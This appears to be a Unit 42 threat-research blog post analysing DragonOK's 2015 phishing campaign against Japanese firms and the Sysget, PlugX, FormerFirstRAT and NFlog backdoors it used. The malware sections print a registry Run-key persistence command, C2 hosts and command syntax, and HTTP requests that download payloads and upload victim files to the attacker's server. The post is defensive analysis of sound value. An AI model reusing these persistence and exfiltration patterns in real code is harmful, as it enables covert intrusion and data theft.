[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/) * [Japanese](https://unit42.paloaltonetworks.com/ja/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 8 min read * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Jen Miller-Osborn](https://unit42.paloaltonetworks.com/author/jen-miller-osborn/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:April 14, 2015 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [DragonOK](https://unit42.paloaltonetworks.com/tag/dragonok/) * [FormerFirstRAT](https://unit42.paloaltonetworks.com/tag/formerfirstrat/) * [HelloBridge](https://unit42.paloaltonetworks.com/tag/hellobridge/) * [Japan](https://unit42.paloaltonetworks.com/tag/japan/) * [NewCT](https://unit42.paloaltonetworks.com/tag/newct/) * [NFlog](https://unit42.paloaltonetworks.com/tag/nflog/) * [PlugX](https://unit42.paloaltonetworks.com/tag/plugx/) * [PoisonIvy](https://unit42.paloaltonetworks.com/tag/poisonivy/) * [Sysget](https://unit42.paloaltonetworks.com/tag/sysget/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/?pdf=download&lg=en&_wpnonce=7570bbad6f "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/?pdf=print&lg=en&_wpnonce=7570bbad6f "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=Unit%2042%20Identifies%20New%20DragonOK%20Backdoor%20Malware%20Deployed%20Against%20Japanese%20Targets&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets%2F&title=Unit%2042%20Identifies%20New%20DragonOK%20Backdoor%20Malware%20Deployed%20Against%20Japanese%20Targets "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets%2F&text=Unit%2042%20Identifies%20New%20DragonOK%20Backdoor%20Malware%20Deployed%20Against%20Japanese%20Targets "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=Unit%2042%20Identifies%20New%20DragonOK%20Backdoor%20Malware%20Deployed%20Against%20Japanese%20Targets%20https%3A%2F%2Funit42.paloaltonetworks.com%2Funit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets%2F "Share in Mastodon") ### Summary Palo Alto Networks Unit 42 used the [AutoFocus](https://media.paloaltonetworks.com/lp/autofocus/) threat intelligence service to identify a series of phishing attacks against Japanese organizations. Using AutoFocus to quickly search and correlate artifacts across the collective set of WildFire and other Palo Alto Networks threat intelligence, we were able to associate the attacks with the group publicly known as "DragonOK." \[1\] These attacks took place between January and March of 2015. DragonOK has previously targeted Japanese high-tech and manufacturing firms, but we've identified a new backdoor malware, named "FormerFirstRAT," deployed by these attackers. See the "Malware Details" section for analysis of the three RATs and two additional backdoors deployed in this persistent attack campaign. ### Campaign Details This campaign involved five separate phishing attacks, each carrying a different variant of Sysget malware, also known as HelloBridge. The malware was included as an attachment intended to trick the user into opening the malware. This included altering the icon of the executable to appear as other file types (Figure 1) as well as decoy documents to trick users into thinking they had opened a legitimate file. [![figure 1 - dragon](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-1-dragon.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-1-dragon.png) **Figure 1. Icons used by malicious Sysget attachments.** All of the Sysget files used in this campaign communicate with a single command and control (C2) server, hosted at biosnews\[.\]info. Sysget communicates with this server using the HTTP protocol; see the Malware Details section for specifics of the command and control traffic. All five phishing campaigns targeted a Japanese manufacturing firm over the course of two months, but the final campaign also targeted a separate Japanese high-tech organization. (Figure 2) [![figure 2 - dragon](http://blog.paloaltonetworks.com/wp-content/uploads/2015/04/figure-2-dragon-500x371.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-2-dragon.png) **Figure 2. Five Sysget samples used to target two Japanese organizations.** Four of the five Sysget variants included a form of decoy document to trick users into believing they had opened a legitimate file rather than malware. Two of the executables used decoy documents that included information about obituaries. Figure 3 shows a GIF file containing an obituary notice for a woman, while Figure 4 shows a Microsoft Word document containing the obituary of a man. [![figure 3 - dragon](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-3-dragon.gif)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-3-dragon.gif) **Figure 3. Japanese decoy document containing an obituary notice for a woman.** [![figure 4 - dragon](http://blog.paloaltonetworks.com/wp-content/uploads/2015/04/figure-4-dragon-500x325.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-4-dragon.png) **Figure 4. Japanese decoy document containing an obituary notice for a woman.** The Sysget sample with a PDF icon created a second executable, named Adobe.exe, which simply displayed the following warning. [![figure 5 - dragon](http://blog.paloaltonetworks.com/wp-content/uploads/2015/04/figure-5-dragon-500x86.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-5-dragon.png) **Figure 5. Error message generated by Adobe.exe** The final Sysget sample used a Microsoft Excel icon and opened an Excel document that contained cells filled with "XXXXXX." (Figure 6) [![figure 6 - dragon](http://blog.paloaltonetworks.com/wp-content/uploads/2015/04/figure-6-dragon-500x685.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-6-dragon.png) **Figure 6. Excel spreadsheet with Xs in multiple rows and columns.** These Sysget variants appear to be a first stage payload in these attacks. During analysis of this threat, we identified five additional backdoor tools hosted on biosnews\[.\]info which may be downloaded by the Sysget variants once the attackers have established a foothold. Three of the backdoors, NFlog, PoisonIvy, and NewCT have previously been publicly associated with DragonOK. Additionally, the actors have now added the popular PlugX backdoor to their toolkit. An additional backdoor appears to be a new, custom-built tool, which we have not previously associated with DragonOK or any other attack group. We've named this tool "FormerFirstRAT" as it appears to be the names used by the developers to refer to their creations. Figure 7 shows the relationship between these backdoors and their respective command and control servers. [![figure 7 - dragon](http://blog.paloaltonetworks.com/wp-content/uploads/2015/04/figure-7-dragon-500x546.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-7-dragon.png) **Figure 7. Relationship between five additional backdoors used by DragonOK and their C2 servers in this campaign.** The following section details the functionality of the malware deployed in this campaign. ### Malware Details **Sysget/HelloBridge** In this campaign, Sysget samples were attached to e-mails and used various icons to trick users into infecting their systems. The majority of these samples are self-extracting executables that contain both a malicious downloader, along with a legitimate file. When the self-extracting executable is launched, the downloader and legitimate file are typically dropped in one of the following directories and then executed: * %PROGRAMFILES% * %WINDIR%\\Temp When the malicious downloader is executed, it begins by creating the 'mcsong\[\]' event in order to ensure one instance is running. It then spawns a new instance of 'C:\\\\windows\\\\system32\\\\cmd.exe' with a window name of 'Chrome-Update'. It attempts to obtain a handle to this window using the FindWindowW API call and then proceeds to send the following command to this executable. This allows the malware to indirectly execute a command within the cmd.exe process. reg add hkcu\\software\\microsoft\\windows\\currentversion\\run /v netshare /f /d %temp%\\notilv.exe /t REG\_EXPAND\_SZ |---|-----------------------------------------------------------------------------------------------------------------------| | 1 | reg add hkcu\\software\\microsoft\\windows\\currentversion\\run /v netshare /f /d %temp%\\notilv.exe /t REG\_EXPAND\_SZ | This registry key will ensure an executable that it later downloads is configured to persist across reboots. It then sends the 'exit' command to this executable, which will kill this particular process. The malware then attempts to read the following file. This file is used to store a key that is later used to decrypt data received during network communications. * %temp%\\ibmCon6.tmp If the file does not exist, it will make the following GET request: GET /index.php?fn=s4\&name=4890c2d546fa48a536b75b48b17de023 HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Connection: Keep-Alive |-------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | GET /index.php?fn=s4\&name=4890c2d546fa48a536b75b48b17de023 HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Connection: Keep-Alive | The filename and name parameters are statically set in the above request. The server responds with data similar to the following: HTTP/1.1 200 OK Date: Wed, 11 Mar 2015 00:14:14 GMT Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1e-fips mod\_bwlimited/1.4 mod\_fcgid/2.3.10-dev X-Powered-By: PHP/5.4.37 Keep-Alive: timeout=5 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html 17 gh204503254 1916733707 0 |-------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | HTTP/1.1 200 OK Date: Wed, 11 Mar 2015 00:14:14 GMT Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1e-fips mod\_bwlimited/1.4 mod\_fcgid/2.3.10-dev X-Powered-By: PHP/5.4.37 Keep-Alive: timeout=5 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html 17 gh204503254 1916733707 0 | The first two pieces of data ('17' and 'gh204503254') are then written to the ibmCon6.tmp file referenced earlier. The malware will copy itself to the %TEMP% directory with the executable name of 'notilv.exe'. Due to the previously written registry key, this file will execute when the machine is restarted and the current user logs in. The malware then makes the following request: GET /index.php?fn=s1\&uid=fc1a8359e0f4cb8d60920dc066b8b21c HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Connection: Keep-Alive |-------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | GET /index.php?fn=s1\&uid=fc1a8359e0f4cb8d60920dc066b8b21c HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Connection: Keep-Alive | The filename and uid parameters are statically set in the above request. The response data is decrypted using the RC4 cryptographic stream cipher. The 'gh204503254' data that was previously downloaded is used as the key. The following Python code can be used for decryption, using the 'gh204503254' key: from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptDecrypt CALG\_RC4 = 0x6801 CALG\_MD5 = 0x8003 md5\_hasher = CryptCreateHash(CALG\_MD5) CryptHashData(md5\_hasher, 'gh204503254') rc4\_key = CryptDeriveKey(md5\_hasher, CALG\_RC4) decrypted\_data = CryptDecrypt(rc4\_key, final\_data) pp.pprint(decrypted\_data) |-------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 | from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptDecrypt CALG\_RC4 = 0x6801 CALG\_MD5 = 0x8003 md5\_hasher = CryptCreateHash(CALG\_MD5) CryptHashData(md5\_hasher, 'gh204503254') rc4\_key = CryptDeriveKey(md5\_hasher, CALG\_RC4) decrypted\_data = CryptDecrypt(rc4\_key, final\_data) pp.pprint(decrypted\_data) | At this stage, the remote server can send a number of different responses. The following example response will instruct the malware to download a remote executable file: sys getinto "filename.exe" "01234567890123456789012345678901";\\n |---|-------------------------------------------------------------------| | 1 | sys getinto "filename.exe" "01234567890123456789012345678901";\\n | 'filename.exe' is the path where the downloaded file will be stored, and '01234567890123456789012345678901' is the value supplied in the subsequent HTTP request. When this command is received, the following example request is made: GET /index.php?fn=s3\&file=01234567890123456789012345678901 HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Connection: Keep-Alive |-------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | GET /index.php?fn=s3\&file=01234567890123456789012345678901 HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Connection: Keep-Alive | At this point, the remote server will respond with an unencrypted file that the malware saves to the system. The remote server can also send the following example response. This response will instruct the malware to upload the specified file: sys upto "filename.exe";\\n |---|-----------------------------| | 1 | sys upto "filename.exe";\\n | An example upload request can be seen below: POST /index.php?fn=s2\&item=70efdf2ec9b086079795c442636b55fb HTTP/1.1 Accept: text/html, application/xhtml+xml, \*/\* Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Content-Length: 115126 Connection: Keep-Alive -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="file"; filename="calc\_malware.exe" Content-Type: application/octet-stream \[BINARY\_DATA\] -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="path" 70efdf2ec9b086079795c442636b55fb -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="submit" Submit -----------------------------d5340oqbasdfaa-- |----------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | POST /index.php?fn=s2\&item=70efdf2ec9b086079795c442636b55fb HTTP/1.1 Accept: text/html, application/xhtml+xml, \*/\* Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Content-Length: 115126 Connection: Keep-Alive -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="file"; filename="calc\_malware.exe" Content-Type: application/octet-stream \[BINARY\_DATA\] -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="path" 70efdf2ec9b086079795c442636b55fb -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="submit" Submit -----------------------------d5340oqbasdfaa-- | The remote server can also send the following example response. This response will instruct the malware to execute the given command: \[command\];\\n |---|-----------------| | 1 | \[command\];\\n | The results of this -execution are stored in a temporary text file in the %TEMP% directory. These results are encrypted using the same technique mentioned previously. An example upload of these results can be seen below: POST /index.php?fn=s2 HTTP/1.1 Accept: text/html, application/xhtml+xml, \*/\* Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Content-Length: 1609 Connection: Keep-Alive -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="file"; filename="C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\.txt" Content-Type: application/octet-stream \[BINARY\_DATA\] -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="path" 70efdf2ec9b086079795c442636b55fb -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="submit" Submit -----------------------------d5340oqbasdfaa--- |-------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | POST /index.php?fn=s2 HTTP/1.1 Accept: text/html, application/xhtml+xml, \*/\* Content-Type: multipart/form-data; boundary=---------------------------d5340oqbasdfaa User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) Host: biosnews\[.\]info Content-Length: 1609 Connection: Keep-Alive -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="file"; filename="C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\.txt" Content-Type: application/octet-stream \[BINARY\_DATA\] -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="path" 70efdf2ec9b086079795c442636b55fb -----------------------------d5340oqbasdfaa Content-Disposition: form-data; name="submit" Submit -----------------------------d5340oqbasdfaa--- | **PlugX** PlugX is a backdoor that is often used by actors in targeted attacks. This version of PlugX attempts to disguise itself as a Symantec product. The following icon is present in this sample: [![figure 8 - dragon](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-8-dragon.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2015/04/figure-8-dragon.png) **Figure 8. PlugX file uses Symantec logo icon.** Upon execution, the malware will install itself as a service with the following parameters: |--------------------------|----------------------------| | **Service Name** | RasTls | | **Service Display Name** | RasTls | | **Service Description** | Symantec 802.1x Supplicant | It may also set the following registry key for persistence: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\RasTls - %windir%\\system32\\svchost.exe |---|---------------------------------------------------------------------------------------------------| | 1 | HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\RasTls - %windir%\\system32\\svchost.exe | PlugX is a well-studied malware family with a long history of use in targeted attacks. More information on its history is available at the following links. * [https://www.fireeye.com/blog/threat-research/2014/07/pacific-ring-of-fire-plugx-kaba.html](https://www.fireeye.com/blog/threat-research/2014/07/pacific-ring-of-fire-plugx-kaba.html) * [http://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf](https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf) * [https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf](https://www.blackhat.com/docs/asia-14/materials/Haruyama/Asia-14-Haruyama-I-Know-You-Want-Me-Unplugging-PlugX.pdf) **FormerFirstRAT** This remote administration tool (RAT) is referred to as "FormerFirstRAT" by its authors. FormerFirstRAT communicates using unencrypted HTTP over port 443; the use of mismatching ports and communication protocols is not uncommon in targeted attack campaigns. In addition, port / protocol mis-match traffic can be an indicator of bad activity. When the malware starts, it writes the following registry key to ensure persistence: \[HKCU|HKLM\]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\WmdmPmSp -\> EXE of DLL |---|--------------------------------------------------------------------------------------------------------| | 1 | \[HKCU|HKLM\]\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\WmdmPmSp -\> EXE of DLL | The malware then proceeds to send an HTTP POST request with information about the victim system. The following information is collected: * Victim IP address * Username * Administrative privileges * RAT status (active/sleep) * RAT version (in this case, 0.8) * Microsoft Windows version * UserID (Volume Serial followed by an underscore and a series of '1's) * Language The following settings are used for command and control: Hostname: https.reweblink.com Port: 443 Timer: 180000 Method: POST |---------|--------------------------------------------------------------------| | 1 2 3 4 | Hostname: https.reweblink.com Port: 443 Timer: 180000 Method: POST | The malware encrypts network communication using the AES128 encryption cipher. It uses the MD5 of 'tucwatkins' in order to generate the key. All data is sent via HTTP POST requests. While not a distinct TTP, the author of this malware may be a soap-opera fan. The following code demonstrates how you can decrypt the malware communications using Python: from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt CALG\_AES\_128 = 0x660e CALG\_MD5 = 0x8003 data = "..." # Encrypted Data md5\_hasher = CryptCreateHash(CALG\_MD5) CryptHashData(md5\_hasher, 'tucwatkins') aes\_key = CryptDeriveKey(md5\_hasher, CALG\_AES\_128) decrypted\_data = CryptDecrypt(aes\_key, data) |----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 | from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt CALG\_AES\_128 = 0x660e CALG\_MD5 = 0x8003 data = "..." # Encrypted Data md5\_hasher = CryptCreateHash(CALG\_MD5) CryptHashData(md5\_hasher, 'tucwatkins') aes\_key = CryptDeriveKey(md5\_hasher, CALG\_AES\_128) decrypted\_data = CryptDecrypt(aes\_key, data) | The malware then enters a loop where it will send out periodic requests to the remote server. The remote server has the ability to respond and provide instructions to the RAT. We have identified the following functionalities: * Modify sleep timer between requests * Execute a command and return the command output * Browse the file system * Download files * Delete files * Exfiltrate victim information An example HTTP POST request can be seen below. POST / HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: https.reweblink.com:443 Content-Length: 48 Cache-Control: no-cache \[encrypted binary data\] |-------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 | POST / HTTP/1.1 Accept: \*/\* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: https.reweblink.com:443 Content-Length: 48 Cache-Control: no-cache \[encrypted binary data\] | **NFlog** When loaded inside of a running process, NFlog begins by spawning a new thread. This new thread is responsible for all malicious activities produced by this DLL. Initially, the malware will set the following registry key: HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\update : \[current\_executable\_filename\] |---|---------------------------------------------------------------------------------------------------------------| | 1 | HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\update : \[current\_executable\_filename\] | Where \[current\_executable\_filename\] is the path to the current running executable, which is acquired via a call to GetModuleFileNameA. This registry key ensures that the malware will persist across reboots when the current user logs in. Multiple string obfuscation routines are included in this malware sample. Strings contained in the binary are decrypted via a simple binary XOR against a single byte key of 0x25. The malware proceeds to create a named event object of 'GoogleZCM' and uses this event in order to ensure only one instance of this malware is running at a given time. The malware proceeds to make an attempt at binding to the local host on port 1139. The malware attempts to ensure Internet connectivity by making a request to www.microsoft.com. An example request is shown below. GET / HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 7.0;Windows NT 5.1) Host: www.microsoft.com Cache-Control: no-cache Cookie: WT\_NVR=0=/:1=genuine:2=genuine/validate; MC1=GUID=aa8ac5ed26b9bf4f8d3bd1b2dcaa82f6\&HASH=edc5\&LV=201503\&V=4\&LU=1427378060061; A=I\&I=AxUFAAAAAADHBgAA8gS9lEdH+VwzUOqAM/3nlg!!\&V=4; WT\_FPC=id=bf26a610-0e65-413e-aef7-fd8c6b7df7c3:lv=1427375812454:ss=1427375780673; optimizelySegments=%7B%222130980600%22%3A%22true%22%2C%222098371093%22%3A%22true%22%2C%22223040836%22%3A%22search%22%2C%22244338170%22%3A%22none%22%2C%22223033821%22%3A%22false%22%2C%22223082014%22%3A%22ie%22%7D; optimizelyEndUserId=oeu1427379528348r0.49006120319115387; MUID=07660815420F6D5B2DCC0F63434A6C60 %3 |-------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 | GET / HTTP/1.1 User-Agent: Mozilla/5.0 (compatible; MSIE 7.0;Windows NT 5.1) Host: www.microsoft.com Cache-Control: no-cache Cookie: WT\_NVR=0=/:1=genuine:2=genuine/validate; MC1=GUID=aa8ac5ed26b9bf4f8d3bd1b2dcaa82f6\&HASH=edc5\&LV=201503\&V=4\&LU=1427378060061; A=I\&I=AxUFAAAAAADHBgAA8gS9lEdH+VwzUOqAM/3nlg!!\&V=4; WT\_FPC=id=bf26a610-0e65-413e-aef7-fd8c6b7df7c3:lv=1427375812454:ss=1427375780673; optimizelySegments=%7B%222130980600%22%3A%22true%22%2C%222098371093%22%3A%22true%22%2C%22223040836%22%3A%22search%22%2C%22244338170%22%3A%22none%22%2C%22223033821%22%3A%22false%22%2C%22223082014%22%3A%22ie%22%7D; optimizelyEndUserId=oeu1427379528348r0.49006120319115387; MUID=07660815420F6D5B2DCC0F63434A6C60 %3 | Back to top ### Tags * [DragonOK](https://unit42.paloaltonetworks.com/tag/dragonok/ "DragonOK") * [FormerFirstRAT](https://unit42.paloaltonetworks.com/tag/formerfirstrat/ "FormerFirstRAT") * [HelloBridge](https://unit42.paloaltonetworks.com/tag/hellobridge/ "HelloBridge") * [Japan](https://unit42.paloaltonetworks.com/tag/japan/ "Japan") * [NewCT](https://unit42.paloaltonetworks.com/tag/newct/ "NewCT") * [NFlog](https://unit42.paloaltonetworks.com/tag/nflog/ "NFlog") * [PlugX](https://unit42.paloaltonetworks.com/tag/plugx/ "PlugX") * [PoisonIvy](https://unit42.paloaltonetworks.com/tag/poisonivy/ "PoisonIvy") * [Sysget](https://unit42.paloaltonetworks.com/tag/sysget/ "Sysget") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Android Installer Hijacking Vulnerability Could Expose Android Users to Malware](https://unit42.paloaltonetworks.com/android-installer-hijacking-vulnerability-could-expose-android-users-to-malware/ "Android Installer Hijacking Vulnerability Could Expose Android Users to Malware") ### Related Articles * [CL-STA-0048: An Espionage Operation Against High-Value Targets in South Asia](https://unit42.paloaltonetworks.com/espionage-campaign-targets-south-asian-entities/ "article - table of contents") * [Intruders in the Library: Exploring DLL Hijacking](https://unit42.paloaltonetworks.com/dll-hijacking-techniques/ "article - table of contents") * [THOR: Previously Unseen PlugX Variant Deployed During Microsoft Exchange Server Attacks by PKPLUG Group](https://unit42.paloaltonetworks.com/thor-plugx-variant/ "article - table of contents") ## Related Malware Resources ![Pictorial representation of post-exploitation identity misuse in SPIFFE/SPIRE. Close-up of a person wearing glasses, with computer code reflected in the lenses.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/12_Security-Technology_Category_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 10, 2026 [#### The Machine With Many Faces: Post-Exploitation Identity Misuse in SPIFFE/SPIRE](https://unit42.paloaltonetworks.com/kubernetes-spiffe-spire-identity-spoofing/) * [API](https://unit42.paloaltonetworks.com/tag/api/ "API") * [Cryptographic](https://unit42.paloaltonetworks.com/tag/cryptographic/ "cryptographic") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right 